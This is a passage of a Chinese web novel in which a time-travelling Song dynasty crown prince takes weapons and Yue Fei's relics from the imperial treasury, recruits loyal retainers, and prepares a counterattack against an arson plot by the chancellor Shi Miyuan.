宋宇看到这些火柴,自言自语道“:火柴,是俺们炎黄子孙发明的?它不是有个名字叫洋火吗?”
轻轻地将瓷盖拧了回去,宋宇将瓷瓶放入了袖兜之中。之后宋宇又选了几件金器字画,便招呼韩令辉奔着武器盔甲的地走去。
武器盔甲摆放的十分杂乱,说是随意丢弃都不为过。一路挑拣下,宋宇并没有瞧上什么特别出彩的兵刃。从形制上看,这些大都是大宋士兵的制式装备。
直到转过几个拐角后,才来到一条摆放整齐的小路。
这条路上,并没有随意乱扔的盔甲兵刃,反而是一个个的木质台子。在台子之上,摆满了一个个的木匣。
宋宇心想,这些木匣里面,估计装的全是兵器吧。
韩令辉话不多说,径直领着宋宇走到了一个木台前,轻轻的拿起一个四方小木盒。
将之打开,从里面拿出一架精致的漆黑小**。韩令辉立马双手托着,递到了宋宇手中。
“:殿下,奇珍异宝属下或许会有不知道的,但说到兵器,属下绝对件件知晓。”
宋宇满意的把玩着手中的小**,忽悠觉得少了些什么,便开口问道“:这袖**好是好,可惜只有这**身上的一支箭。”
韩令辉微笑着答道“;殿下不必担心,这**又非什么古物珍玩,乃是我大宋兵器监所造,待出去后,属下亲自去兵器监给殿下多要些箭矢。”
宋宇开心的点了点头,将袖**放进了袖兜里。转头对很会办事的韩令辉继续问道“:韩将军,这**虽好,本殿下却还想寻几把兵器,最好是刀剑。”
韩令辉不敢怠慢,引着宋宇来到不远处的木架前“:殿下,要说刀剑,这内库之中在没有能胜过这五把宝剑的了。”
宋宇一听是库里最好的宝剑,忙上前打量起来。就见木架上排列着五个木匣,宋宇一一打开。五八宝剑呈现在眼前。
每把宝剑剑鞘上分别写着一个朱红色的大字,下边还有两行小字。
宋宇依次查看,分别是:
智,智者谋国,拙于谋身。
勇,勇者无畏,冲锋在前。
义,大义匡国,为民除奸。
仁,身居高位,以仁为本。
严,严于律己,宽以待人。
看完剑鞘上的字,宋宇又在每个盒子中找到一片丝绸,每个丝绸上都写着几个大字,君子五德。
第二十五回 岳元帅的甲 岳元帅的枪
宋宇将宝剑从剑鞘中一一拔出,每把剑都在剑身上刻写着与剑鞘上相匹配的五德字。
一直在身后等待的韩令辉突然出声道“:殿下,五德宝剑,出自龙泉剑,每一把都是当代工匠的巅峰之作。”
边说着,韩令辉边拿起一把宝剑,又将自己腰间佩刀解下,让身后士兵托举着,随即手持宝剑对着腰刀砍去。
兵刃碰撞之声骤起,腰刀被宝剑应声砍断“:殿下请看,削铁如泥,易如反掌。”
宋宇也是不住的连连夸赞“:这五把宝剑,本殿下甚是喜欢,全部打包带走。”
在收起五把宝剑之后,宋宇意犹未尽的继续在库中寻找。其中找到了些护身的内甲,外甲,还有品质不错的刀剑,打算带回去给自己府内的侍卫还有一票兄弟换换装。
就这样边拿边走,待走到货架尽头时,在角落里发现了一整套将军铠甲。由于时间久了,盔甲上覆盖着厚厚的一层尘土。
“:韩将军,这套盔甲,可有什么说法?”
韩令辉闻言,思量了一会,回答道“:这套盔甲,乃是当年岳元帅的随身甲胄,岳元帅死后,兵器盔甲便都被收到了这府库之中,只不过连兵带甲,足有一百余斤,恐怕不太好带出去。”
宋宇眼见找到了自己想见的东西,忙上前几步细细打量,又试图搬起来,却觉得盔甲沉重无比:乖乖,少说100多斤,穿上它,自己估计路都走不动。岳飞却能穿着它在战场上左突右冲,斩将夺囚,也是天生怪力。
这古人,到底有多大力气啊?宋宇不禁暗自思量,自己要将此物送与的那人,到底能不能穿出来岳飞当年的风采?
用手抚摸着盔甲帽盔,宋宇有些伤感,像是岳飞这样的英雄,最后却落得那般下场,这权力的游戏,实在是没有道理可讲。
想想岳飞的满江红,
壮士饥餐胡虏肉,
笑谈渴饮匈奴血。
那是何等的意气风发?
三十功名尘与土,
八千里路云和月。
莫等闲,
白了少年头,
空悲切。
又是何等的急不可耐,想要收复失地。
可如今的岳元帅,却只剩下蒙尘的盔甲,冷冰冰的躺在自己面前。仿佛在对着自己呐喊“:北伐!北伐!”
宋宇不禁感慨,人的命运,实在不该如此。岳元帅的命运,更是不该如此啊。
罢了,今日拿的东西不少了,改日再让韩令辉来取。
宋宇收起悲伤的表情,恢复了平常那平静的表情对着韩令辉说道“:也不忙事,此次来,咱们可先拿些轻的,重的,将军可在你我出去之后,再差人来拿便是。不过本殿下现在倒想一堵沥泉神枪的风采。还请将军头前带路。”言罢,宋宇伸出右手,做了个请的姿势。
韩令辉有些受宠若惊的说道“;殿下何须说请,能为殿下效劳,是韩某几世修来的福分,殿下这边请。”说着,韩令辉慌忙领着宋宇左拐右拐,走到一处布满灰尘的墙角。
这里是个兵器架,上面插着两把武器,一把**,一柄佩剑。
宋宇走上前去,从木架上拔出了那把剑,用手拭去剑身的灰尘,只见三个字落入宋宇眼中‘岳飞剑’。
宋宇无奈的叹息了一声,轻轻将剑交给韩令辉“:将此剑给本殿下收好带出去,今日本殿下就要让他重见天日。”
言毕,又将那杆插在木架上,被灰尘蒙蔽多年,却依然银光闪闪的铁枪用力拔了出来。
刚一拔出,便觉得这枪着实不轻,足有四十余斤。宋宇打量着手中这杆铁枪,只见枪身上写着沥泉神矛四字。
枪身丈八左右,中段有一铁骨,而枪头并非菱形,反倒是像宝剑的剑头,被枪身蛇嘴吐出,寒光闪闪,煞是威武。
细细打量下,宇发现枪身中断铁箍,竟然有一道缝隙,心想,这沥泉神矛,该不会和双截棍一样,可以一分为二吧?
如此想着,宋宇微微下蹲,将沥泉神枪放到大腿根托着,两只手分别向相反方向用力一拧,吱啦啦,沥泉神枪真如宋宇所料,一分为二。
而两段枪身中间,果有一条铁链相连,原来这沥泉神枪,枪身竟然暗藏一条铁链。真是不知这古代工匠,是如何将这铁链放入枪身之中。
宋宇好奇地把玩了会后,将沥泉神枪一并交到了韩令辉手上“:有劳韩将军,将此枪一并带出。至于盔甲,等上去后,韩将军在差人来取。”
韩令辉恭敬的诺了一声,此时在他心里,对面前的这位太子充满了好奇。
还记得当年自己跟着老母,一路从北方失地逃到了这父母之国,可谓历尽了艰辛。
幸得偶遇一位云游道士相救,又教了一套枪法,才让自己可以以武入仕。但自从入了这禁军,自己便没一日高兴过。
身边到处都是歌舞太平之声,同僚互捧臭脚,上行下贿,武备废弛,生活糜烂。
自己是看着干生气,却是毫无办法。想当初自己历尽艰辛学的枪法,本以为可以以武报国,杀回北方,夺回自己的的家园。
可十数年浑浑噩噩的活下来,当初那份热血沸腾的心,此时早已冷了下来。
就在前路无光之时,今日跟着太子在这国库走了一遭,自己仿佛又看到了希望。
眼前的太子,对这岳飞的遗物如此感兴趣,莫不是有心北伐?想到此,韩令辉强压心中激动,他明白这里可不是表露心迹的地方。
身边的两位同僚,看似忠厚老实,但为了名利,出卖自己给史弥远,还不是转眼的事?
多年的摸爬滚打,使得韩令辉对这朝廷的道道,可是清楚的很。
韩令辉在这里思量着怎么向宋宇表白,那边宋宇开口打断了他的沉思“:韩将军,库中的制式装备,一样十几套,全部打包带走。”
韩令辉赶紧回道“;殿下放心,属下这就给您去收拾。”
宋宇听完韩令辉所说,哈哈大笑“:今日便到此为止吧,韩将军,今日多谢你陪本殿下来此辛苦一遭,待你去得兵器监取了箭矢,送来本
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殿下府上之时,本殿下定会用美酒款待于你。”
韩令辉一看宋宇主动接近自己,心中大喜忙回道“;区区小事何足挂齿,韩某在这里先谢过殿下了。”
宋宇拍了拍韩令辉肩膀说道“:将军太过自谦了,你现在手中所拿物事,何止五十余斤,可本殿下看将军气息平稳,面色不改,想来定然是有真本事之人。本殿下最喜欢和有真本事之人打交道。韩将军若是喜欢美酒,以后尽管来本殿下府上畅饮。”
其实像韩令辉这样遭遇的人,在这个时代绝对不是少数。他们或许是禁受不住时间的考验变节了,投靠了史弥远。又或许是选择了沉默。而韩令辉明显属于后者。
此时的韩令辉可谓是抓到了自己人生的一次难能可贵的机会,他打定主意,决定要上宋宇这条船了。
“:殿下高看韩某了,殿下以后若有吩咐,尽管来找韩某。韩某定会尽力而为。”
宋宇对着韩令辉投去支持的目光“:莫要再谢了,本殿下最烦这些个俗礼,韩将军以后和本殿下说话,莫要如此扭捏。”
言罢,宋宇扫视了一圈四周,对着三人继续说道“:今日收获颇丰,便到此为止吧,韩将军,收拾下东西,也该出去了。”
韩令辉闻言,慌忙招呼俩禁军收拾东西。打着火把,当先带路,奔地上而去。
由于回去时几人都拿了不少东西,过机关时便慢了不少。足足花了两倍时间才走出机关。
待宋宇从通道里露出头来,一直守候在通道口的董宋臣立马围了上来,一脸焦急的说道“:哎呦!太子殿下去了这么久,可把咱家急坏了,殿下若是再不出来,咱家可就要下去寻您了。”
宋宇闻言,白了他一眼“:呦!公公还是莫要下去了,下边可黑着呢。若是不小心踩错了,小命可就没了。”
此话说完,董宋臣顿时躁红了脸。
宋宇暗自偷笑,继续说道“:劳董公公大驾,去给本殿下找辆马车,本殿下要回府了。”
董宋臣一听宋宇要马车,立马回答道“:殿下,马车早就给您准备好了。殿下,这边请。”言毕,董宋臣屁颠屁颠的头前带路。
韩令辉看到董宋臣一脸的鄙视,小声嘀咕“:马屁精。”
宋宇听后哈哈大笑“:韩将军何必动气?若无小人?何以识得真君子?”
言罢,拍了拍韩令辉肩膀,吩咐他三人快快跟上。
此时宋宇心里一直惦记华岳的事情,巴不得赶快回府呢。
装好货物,宋宇跳上马车说道“:韩将军,岳元帅的盔甲,便拜托给你了。本殿下现在府内有些事情,便不再此久留了。“
对着韩令辉摆了摆手,钻进了马车。
马车外,韩令辉恭敬的说道“:殿下尽管放心,最晚明日,一定送到殿下府上。”言毕,韩令辉意犹未尽的目送着宋宇的马车缓缓离去。
暗道:想我韩令辉一直低调苟且。今日撞上太子殿下,就觉得这殿下与平常那些大官人有些不一样的感觉。
第二十六回 事了回府去 宝剑赠义士
话说在这宫闱之内,往来多是这大宋朝的顶尖权贵,平时见到他们,莫说搭上话,就是多看人家一样,都会被恶狠狠的白眼回视。
可这太子殿下,怎么就能毫无顾忌地放下身段与自己这大宋末位的小将聊的有来有去的?
你说是降尊迂贵,摆摆样子?太子殿下却热情的邀请自己去喝酒。就跟自己多年未见的老友似的。
古怪,实在是古怪。这太子,若是他日得势,大宋或许会有些改变也说不定...
宋宇辞别了韩令辉后,真可谓春风得意,马蹄疾。恨不得一日赏尽临安花。
看着满车的古董兵器盔甲,不由暗道,要是凭借上辈子打工赚的那俩钱儿,几辈子也买不到这车里的一件东西。有个有钱的爹,真好...
任他马车颠簸,马叫嘶鸣,宋宇开心的哼着小曲,抚摸一件件地兵器。心里那叫一个爽。
有时还自顾自地嘀咕:可惜自己不会武功,这些宝剑放在自己手中,还真有些暴敛天物的感觉。
大约一炷香后,马车回到了济国公府。宋宇刚钻出马车,程保便围了上来,一脸焦急的说道“:殿下,您可回来了。府里好几位大人,都在等着您呢。您可快点吧。”
宋宇经过这两天的相处,知道程保是个货真价实的急性子,听他说话,得把速度放慢两倍在行动,不然别人以为你也是个急性子呢。
“:知道了,这不,本殿下陪父皇吃完饭,又去淘弄了几件武器。现在都在车内搁着呢,你叫两个人,把车内物品搬去仓库。切记仓库多加几把锁,多放几个侍卫轮班看守,这些东西,可是价值连城呢。”
程保得了宋宇吩咐,忙不迭的招呼门口侍卫上车搬东西。宋宇则嘱咐几句务必小心谨慎后,向着华岳下榻处走去。边走宋宇边琢磨:华岳进的可是大理寺天牢,记得后世看水浒传,武松被刺配孟州,刚进去就是要领一百杀威棒,据说这杀威棒打完,没练过功夫的,皮开肉绽,骨断筋连。不打死也是个重伤。下边的监牢都如此了得,大理寺这种顶级衙门,刑具还不变着花样的多?华岳又是个硬骨头,说人话就是又穷又硬,那些个给钱免打,开后门的规矩,在华岳这里是行不通了。
宋宇这里正把情况往坏处想,迎面赵国施礼“:殿下,您回来了?”
宋宇摆摆手,示意府内不必这么多礼数,随即领着赵国边走边问华岳的情况。
赵国不紧张的时候口齿清晰,见问,忙答道“:刚见华岳时,满身是血,属下本以为**,待试了试鼻息,一息尚存。便慌忙将华岳运回了府里。请来大夫,为其诊断。好一通忙碌,大夫才将华岳伤口全部处理好。听大夫讲,华岳身上之伤,都是些皮外伤,倒无大碍,主要是饿的。属下便吩咐厨房熬了些米粥给华将军喝。刚才出来等殿下时,华将军已经转醒,只是说话还有些混糊不清。”
听了赵国的描述,宋宇总算松了一口气。幸亏华岳没死,他要**,这世间又少一位奇才。
外边宋宇疾步奔着华岳养伤房间而去,此时华岳卧房内,坐满了人,床上一裹得跟粽子似的病人,正在被小小一勺一勺的喂着米粥。
这人便是捡回了半条命的华岳,只见这华岳有气无力的问周围人道“:这是哪?莫不是在下又发梦了?要不然怎会有如此姿色之人给我喂食?”
周围一干人等听完是哈哈大笑,互相祝贺道“;看来华岳是没事了。”
只见一身文弱书生打扮得余阶站出来说道“:华兄弟,您并非做梦,这是济国公府。”
华岳听到是济国公府,顿时将两眼瞪的溜圆,好一会才自言自语的说道“:万般想不到,救华某之人,竟是那个风流胡闹太子。”
哪知事有凑巧,正赶上宋宇走到门口,将华岳所说,听了个底吊。宋宇顿时老脸一红,轻咳了一声“:咳恩,本殿下回来了。”
得,进自己屋,倒打起报告来了。
言毕,宋宇掀开珠帘,走了进去。屋内众人立马起身相迎,宋宇一一还礼,径直走到了华岳床前。
看了小小一眼,对他施以一个感谢的微笑,随即接过小米粥,边给华岳喂饭,边说道“;华兄弟受苦了,嗨...都怪竑知道的晚了,让华兄弟在这牢狱中呆了如此之久,实是不该啊。”
华岳刚才言语有失,被宋宇撞了个正着,顿时满脸羞愧“:罪民华岳,多谢殿下救命之恩,方才胡言乱语,还请殿下莫要放在心上。”言罢,华岳一脸愧意的看着宋宇。
宋宇脸皮超厚,一脸无所谓的说道“:本殿下早就习惯了外面的风言风语了。正所谓,千难万击还坚韧,任尔东南西北风。况且竑曾经说过,不会因为说话而怪罪一个人,这点还请华兄弟牢记。竑素知华兄弟为人,仗义直言,义薄云天,敢于挑战一切楇国殃民之人。若非这张嘴,华兄弟岂会有牢狱之灾?竑又哪里有机会搭救如此英雄人物?”言毕冲着华岳露出了善意的微笑。
华岳吃惊的看着面前满脸微笑的宋宇,心想这位太子的流言满临安人尽皆知,几乎每天都有不重样的流言。
可听了太子这一席话,感觉跟流言是两个人呢?难道,有人故意散播流言重伤他?
“:殿下,你可是得罪了某些不该得罪之人,这才闹得流言满临安?”
宋宇砸吧砸吧嘴,暗道:这华岳的脑回路,还真是不一般。自己怎么就没有想到过这么解释呢?
“:咳咳!与华兄弟得罪的是同一个大人物。”
华岳听了宋宇回答,顿时通透。顿了片刻,又好奇太子是如何知道自己之事的?而且其话中之意,似是十分了解自己。一针见血的戳破了自己心中所一直坚持的信念,那便是以身报国。
想到此,华岳不觉心中酸楚,是啊,若非这张嘴,自己又怎会受那牢狱之苦?若非这一文
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不值的信念,自己又怎么会得罪史弥远?
圣人说的话,圣人要我辈坚持的理想,可是害苦了华岳。
华岳双眸渐渐湿润,两行浊泪不自觉的流了下来。一旁傻笑的宋宇看到华岳坠泪,心中顿时郁闷无比。
麻蛋,我说话很煽情吗?我可是满脸微笑着说的啊?这华岳泪点也太低了吧?
稀里糊涂的宋宇慌忙用衣袖帮裹的跟粽子似的华岳拭去泪痕。擦完眼泪,急忙转过身去,以防华岳看到自己在流泪。
紧接着没话找话似的对着真德秀说道“:哎呀,先生,今日天也不早了,您老也别回去了。就让学生尽尽地主之谊,留您老人家在这吃个饭可好?还有乔大人,胡大人,你们两个也一并留下吧,聚在一起也挺不容易的...”
三人仿佛商量好的,齐声说道“:那便多谢殿下了。”言罢三人相视而笑。
宋宇眼见这三个老头说的如此之齐,顿感吃亏了似的,感情你们三个今天就是奔着饭来的?
宋宇正在心中鄙视三人蹭饭,门口突然走进一位府中侍卫禀报道“:殿下,马车上的东西都给您卸下来了,程保差属下来问,可还有什么吩咐?”
宋宇听到侍卫禀报,细一思量,回过头去问华岳道“:华兄弟擅长何种兵刃?”
华岳在宋宇擦眼泪之时就已经懵了,整个人愣愣的盯着宋宇,此时听到宋宇问话,忙答道“:在下十数年前拜得三丰**为师,**得武当剑法。故尔对剑术甚是熟稔。”
宋宇听到华岳说自己拜师三丰**,顿时又惊又喜,麻蛋,张三丰竟然是华岳的老师?
只是不知道这原汁原味的张三丰武当剑法怎么样?想到此,宋宇对着那名禁军说道“:去,将本殿下带回来的那把写着一个大大的义字的剑拿来。”
侍卫领了声喏,快步走了出去,不多时便将一个将瞎捧了进来。交到了宋宇手上。
宋宇转过身去,将宝剑递到华岳跟前“:华兄弟,可识得此剑否?”
华岳用受伤较轻的左手将剑拿起,看了一眼剑柄上的义字,顿时双手颤抖。慌忙对着宋宇说道“;殿下莫不是要将此剑送与在下?君子五剑,龙泉剑中的皇者,殿下,这可万万使不得。此剑若是放到在下手中,上不得阵,杀不得敌,岂不是辱没了此剑?”
宋宇哈哈大笑“:华兄弟轻看自己了,正如剑身上写的,大义匡国,为民除奸。这世上除了华兄弟你,在没人配得上这几个字了。你且好生保管此剑,竑不会武功,日后还希望华兄弟指点一二。”
宋宇言罢,怕再把华岳弄哭,赶忙转过身去“:诸位都是当世英杰,除先生三人外,竑在这里不想把诸位当作普通朋友,竑要与诸位兄弟相称,今日华兄弟被我救下,正好将这兄弟名分确定下来。排个先后顺序,而后竑再以诸位兄弟所长,安排兄弟们日后在府中的位置。诸位意下如何?”
第二十七回 太子府设宴 宰相府密谋
华岳一听要兄弟相称,欲要起身推辞,一旁小小眼疾手快,慌忙一把将他按住,温柔的说道“:殿下如此安排,你若是不依,反倒不美。”一句话硬生生将华岳到嘴边的言语,劝了回去。
接下来屋内众人开始排长幼,与上次胡同中相遇之时相同,众人首先将宋宇踢了出去,宋宇直翻白眼,一脸扫兴的看着余阶他们排顺序。
由于真德秀和乔行简年龄过大,并不在兄弟之列。不多时,自报生辰之后,刘克庄由于年长,排在了首位。
其余依次是老二杨辉,老三程保,老四赵国,老五华岳,老六胡梦昱,老七陈达,老幺余阶。
宋宇看到年龄最小的余阶又倒霉催的排在了老幺位置,在一旁幸灾乐祸道“:余老幺,让你起头不带本殿下玩,怎么样,又排到老幺了吧?活该,告诉你,以后不管再来几个兄弟,你丫的也是万年老幺的命。”言罢,一脸得意的看着余阶笑。
一旁的余阶则一脸平静的说道“:幺字,虽然有小的意思,可还包含有一的意思。正所谓一小一大,包罗万千。多谢殿下赐名。”
宋宇被余阶用话驳的哑口无言,本来笑的上气不接下气宋宇立马止住了笑声,心里暗道:这些个古代名人,还真能扯。以后还是少跟他们耍嘴皮子吧。免得自讨没趣。
待宋宇停住了笑声,一直在旁言语极少的刘克庄站了出来“:殿下,原来余兄弟也是师承真先生,刘某在外多年,还请殿下和余兄弟赎在下不知之罪。”
宋宇知道刘克庄不愿明说自己也是真德秀的弟子,这也情有可原,如果是像董宋臣那样的,估计巴不得有这层关系呢!
可这东西到了刘克庄那里就是鸡肋。人家讲究的是靠实力征服别人。而不是靠关系征服。
这人与人啊,差距就是这么明显。像是史施德,投了个好胎,巴不得每天走上大街嚷嚷,自己的亲爹是当朝宰相。
这样的人啊,多起来以后会让人很无语。本来都是一代人的事,非得扯上上一代。一代人卷吧,这当爹也卷。为人父母,真是不容易啊。
自顾自地瞎琢磨一通,宋宇笑着说道“;何止余老幺,竑也是真先生的学生,咱们这就叫不是一家人,不进一家门。”
言毕,一屋人笑作一团。只见乔行简边笑,边小声对真德秀说道“:你这老滑头,收的一干好弟子,竟然还藏着掖着,若非今日让本官撞破,还不知你要瞒到何时哩!”
一句话顿时说的真德秀哑口无言“:我这不也是为大宋的未来培养好苗子吗?都像叶绍翁那样的,不当官,这大宋还不都是史弥远那样的人猖狂?”
真德秀和乔行简俩老顽固在一旁斗嘴,宋宇这边又打开了话匣子,只见他对众位兄弟吩咐道“:克庄兄弟,从今日起,你便是济国公府的管家,府内所有事宜,都由你做主。还请兄弟莫要嫌弃。”
刘克庄慌忙领诺。宋宇又继续说道“:李辉兄弟善于算术,你可愿做国公府账房?”
李辉同样站出来领诺。
宋宇安排好这俩人,又对着程保赵国说道“:你二人今后便做这国公府中的侍卫统领,程保为正,赵国为辅。”
程保赵国听到后,喜出望外,慌忙领诺。
“:余老幺与华兄弟皆做这国公府中的伴读,一文一武。你二人可愿意?”
华岳慌忙答道“:若非殿下,华岳此时恐怕早已为奸人所害,又岂敢推辞?多谢殿下赏识之恩。”
宋宇最后将目光放到了陈达和胡梦昱身上“:胡大人已有官位,本殿下便不再安排了,至于陈兄弟,本殿下已经给你想到了个好去处,待不忙之时,在安排于你。”
陈达胡梦昱慌忙连连称是。
宋宇安排完众兄弟差事,四下扫了一眼,见小小一直在旁,便不愿往下细说了。
其实现在若没有小小在旁,陈达之事,宋宇早就直接说明去处了。而且宋宇还想让刘克庄组建一支太子府真正的侍卫。
但既然这姑娘在旁,自己只好捡些不要紧的说了“:杨辉兄弟,你现在便去账房,将外面侍卫所拿之物,悉数归入账簿,那些个古董字画,全都折成现银卖掉,另外帮本殿下看看,账房有多少存银。”
杨辉不敢怠慢,慌忙领诺出去忙碌了。
宋宇继续说道“:诸位,咱也别打扰华兄弟养病了,走,去客厅详谈。”语毕,领着众人走出了华岳房间。
要说这古人,是真能唠嗑。几人一直聊到了日暮西山。直到酒宴摆好,众人才意犹未尽的入席饮酒。
席间饮酒直至午夜,数人酩酊大醉后,众人方才不舍得散去。宋宇今日并未喝醉,毕竟自己是主人,若是醉了,岂不让人笑话?
只见宋宇在小小的搀扶下慢慢走进了屋内,小小一直一言不发,就在要帮宋宇宽衣时,宋宇慌忙打断了她“:小小,不必了,夜深了。你也早点回去睡吧。”
小小那对似乎能看透人心事的眸子眨了下“:殿下有何需求,但讲无妨。”
宋宇笑着摇了摇头“:己所不欲,勿施于人。我知道小小姑娘人美心善,是个难得的好姑娘,我赵竑几世修来的福分,与姑娘相遇,可现在,一大堆事,等着我去做。我若懈怠,恐怕命不久矣。”
“:殿下的努力,小小都看在眼中。”
“:之所以说这些,是想告诉你,我并非有意疏远你,实是为了之前对你的承诺,让你我的缘分,走得更加长远。”
小小没在说话,呆楞了片刻后,悄悄退出了房间。
宋宇这才将外袍脱去,走到外面用冷水洗了把脸。才回到屋内躺下睡觉。
宋宇这边睡下了,可有些人此时却精神得很,史府一间卧房中,从窗外看去,只见几道人影,在灯光的摇曳中,张牙舞爪的变换着。
这间屋子便是史弥远的卧房,里面除了史弥远,还有三个人,依次是薛极,夏镇,郑
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清之。
而此时薛极和夏镇正一脸鄙夷的,看着这位新近才被史弥远视为亲信的郑清之。
要知道他二人可都是在朝中掌握着一项权柄之人,可这郑清之算个什么鸟?除了像狗一样摇头摆尾,还真就没发现什么长处?
可就这样一个人,相爷愣是看好他。更让人匪夷所思的是,今晚如此机密之事,相爷好些股肱之士没叫,愣是把这小子叫来了。
顿时让薛极和夏镇心中郁闷无比。可又不敢明着戳破,只好满眼鄙夷的看着郑清之。
郑清之倒底是知道好歹之人,看这二人眼神不善,慌忙对史弥远说道“:恩相,今日如此机密之事,何必非要将小人唤来?小人位卑职轻,可别坏了恩相大事啊!”
史弥远面带微笑的对郑清之说道“:清之大才,何必过于自谦?况且今晚之事,可是涉及到你对我所献之计啊。我且问你,宝玉现在如何了?”
郑清之一听史弥远给自己打气,顿时胸脯结实了许多,一脸骄傲的说道“:哎呀,恩相,宝玉天资聪颖,真乃人中龙凤也,在小人的精心训导下,已经能从一数到十了!照此进度,数到一百是早晚之事。”
史弥远一听,顿时面有不悦之色“:我说清之啊,你怎生如此糊涂?你教他数个什么数?你要多教导他些宫中礼节。好在他日用到之时,有明君之风啊!”
郑清之立马一脸恍然大悟的样子“:哎呀,小人真是糊涂,不过恩相莫急,小人回去便教导宝玉礼节。”
史弥远一拂衣袖“:如此便好。”
言毕,又转头询问夏镇道“:夏将军,卓你安排的人,可曾安排好了?”
夏镇一把推开前面点头哈腰的郑清之,鄙视的用眼瞄了他一下,一拱双手对史弥远说道“:恩相,已按薛大人吩咐办理,为了此次任务成功,专门找的明教之人,而且明教左**让属下捎信给恩相,希望恩相能履行诺言,释放一些明教的信徒。”
史弥远哈哈大笑“:如此便好,放些便放些,放完再抓,以前都是拿人换银子,如今不是换银子了,这些个蠢东西反倒信不过本相了。”
言罢,史弥远又止住笑声,有些疑惑的问薛极道“:只是将小小一并杀了,是否有些可惜?本相为了她,可是花了不少心思呢。那小丫头,自小被秦淮河上最专业的妈妈调教,学得一手神乎其神的绝技。再加上那对美眸,勾魂摄魄。那抹朱唇,红艳欲滴,想来就让本相飘飘欲仙了。毁了可惜,可惜啊!”
薛极见史弥远连道可惜,也是不住地摇头“:恩相,若不将她一并杀了,岂不惹世人非议?况且这女子心机颇深,恩相就不怕此女子日后变卦,暗中坑恩相一次?”
史弥远还想再说,薛极立马又说道“:一双玉臂千人枕,半点朱唇万人尝的小娘皮,明日卑职亲自去秦淮河给恩相挑个十个八个回来。恩相莫要妇人之仁,当断不断,悔之晚矣。”
第二十八回 火烧小竹楼 后院大混战
史弥远语塞,吧唧吧唧嘴“:可要好生挑选,又白又滑的那种。”
夜深人静,
月如钩。
偶有清风吹枝头。
那边史弥远等人正在商议除掉宋宇,这边睡的正香的宋宇被一阵吵闹声惊醒了,刚睁开眼,程保着急忙慌的跑进来说道“:殿下,竹楼起火,小小姑娘尚在其中。”
宋宇一听,慌忙披上了外衣,随着程保奔出了屋外。
出了屋门,余阶他们都站在门口等待宋宇,屋后竹楼方向火光映天。
回过头,宋宇就见余阶他们一个个镇定自若的,立马喊道“:怎的了?着火了,快去救火啊?”
余阶却不慌不忙的说道“;殿下,想必此次是史弥远想要将殿下与小小姑娘一并烧死,但他们之中似乎出了什么差错,导致史弥远并不知殿下已经搬了出来,故而只烧到了小小姑娘,殿下何不作壁上观?让他们自己闹腾去吧。”
余阶一席话说完,宋宇又看了看其他人的脸色,发现几乎都默许这件事,顿时有些生气,大声喊道“:你说说你们一群大老爷们,就想活生生看着一位弱女子被烧死?罢了,你们不去,本殿下自己去。”言罢,宋宇扭头就要奔竹楼而去。
一旁的余阶赶忙拉住宋宇说道“:殿下,若要救她也行,还请听小弟把话说完。”
宋宇眨巴眨巴眼“:有事快说,别耽误本殿下救人。”
余阶尴尬的笑了笑“:其实小弟刚才是和殿下说笑的,小小姑娘平素又没亏待我等,我等岂会坐看她被活活烧死?只是刚刚我与克庄兄商议过了,此事恐怕其中还另有文章。若是匆忙冲进去,反倒不美。”
宋宇不耐烦的抖了抖眉毛“:余老幺,有事快说,别给本殿下故弄玄虚。”
余阶见宋宇冲自己发火了,也没急着搭话,不慌不忙的反问道“:敢问殿下,若此时你在竹楼中,突发火灾,可会被烧死?”
宋宇想了想说道“:应该不会吧,竹楼四处透风,从哪不能逃出去?除非是睡的太死。”
余阶微微一笑“:所以小弟才猜测,这史弥远动用杀招,定然不会如此简单,恐怕此时后院已经布满了贼人,只待竹楼内部有人冲出,或是前院侍卫前去救火,便会群起而上。”
宋宇被余阶这么一点,顿时了然“:那依你之见,这小小姑娘救不得?”
余阶摇了摇头“:小弟刚才已经说了要去救小小姑娘,怎会出尔反尔?不过怎么救,殿下您得听小弟的。”
宋宇听话的点点头“:都依你,我说余老幺,别再磨磨唧唧了,救人要紧。”
余阶收起微笑,将手一拱,严肃的说道“:殿下,小弟以为,我等应当兵分三路,一路由小弟带队,从大门而出,入得左侧小巷,从左翼包抄贼人,破其左翼伏兵。一路由克庄大哥带队,由右侧小巷包抄,破其右翼伏兵。至于中路,由殿下亲自指挥,让杨辉兄弟招募全部家丁侍女,集中到中院,大喊救火,只喊不进后院。程保赵国两位兄弟则带领精壮侍卫,伏于中院,一但听得左右两翼喊杀声起,便带队冲进去。合围贼人。至于陈达兄弟,有火铳在手,可自由行动,在暗中策应我等。殿下以为如何?”
宋宇听得都呆了,暗道:这么短的时间,布置的如此精细。真不愧是自己的偶像啊。
宋宇不住的点头称是,对着余阶说道“;余老幺,真不愧是本殿下的偶像,此事便依你之计。只是本殿下尚有一丝疑虑,克庄一介文人,如何带得了兵?”
宋宇话音刚落,还不待刘克庄开口,一道洪亮的声音传来,宋宇循着声音看去,只见华岳光着膀子,拄着义剑,一瘸一拐的走了过来。
边走边说道“:这右翼贼人,便交给小弟吧。小弟虽然有伤,但就这些个草贼,小弟还真没放在眼里。”
宋宇看着一股干劲的华岳,又看了看他走路都费劲儿的样子,连连摇头,对陈达说道“:去,将华兄弟锁回房中,若是今晚华兄弟出了意外,拿你试问。”
陈达听话的应了一声喏,又唤了一名侍卫,两人各自抓起华岳一侧,架起华岳,哪来的,又将他送回哪去了。
看到华岳被带回去了,宋宇才转身看向刘克庄。
一旁的刘克庄慌忙站了出来“:殿下,事不宜迟,迟则生变。况且小弟并非不会武功,小弟平素最仰慕之人便是辛公,辛公所创稼轩剑法,小弟更是熟稔的很。殿下不必担心。”
宋宇一听刘克庄也会武功,还是辛弃疾所创,顿时觉得自己不会武功,就跟后世不会用电脑似的。有种天然的失落感。
失落归失落,宋宇可不想再耽搁了。只见宋宇一字一句的说道“:余阶刘克庄听令,命你二人各带五名带刀侍卫,从左右两路抄袭敌军。”
余阶刘克庄领喏,不再耽搁,点起侍卫,奔大门而去。
宋宇继续说道“:杨辉听令,命你速速召集府内各闲杂人等,于中院大喊救火。吸引贼人注意力。”
杨辉应声领诺,小跑着去中院召集闲杂人等去了。
宋宇回过头来,对着程保赵国说道“:两位兄弟,你二人就召集余下侍卫,与本殿下来个隐而后发。”
程保赵国听完,屁颠屁颠的张罗剩余侍卫。
“:陈兄弟,你现在可先行一步,观察贼人动向。”
陈达得令,对着宋宇拱了拱手,先行一步奔着竹楼方向跑去。
宋宇则在这段空闲工夫,跑去库房,取了一把仁剑出来。
等到归来之时,程保赵国早已整顿好队伍“:殿下,侍卫已经点齐,共七人,静候殿下指示。”
宋宇抚摸着那把仁剑,脸色严肃的说道“:出发。”
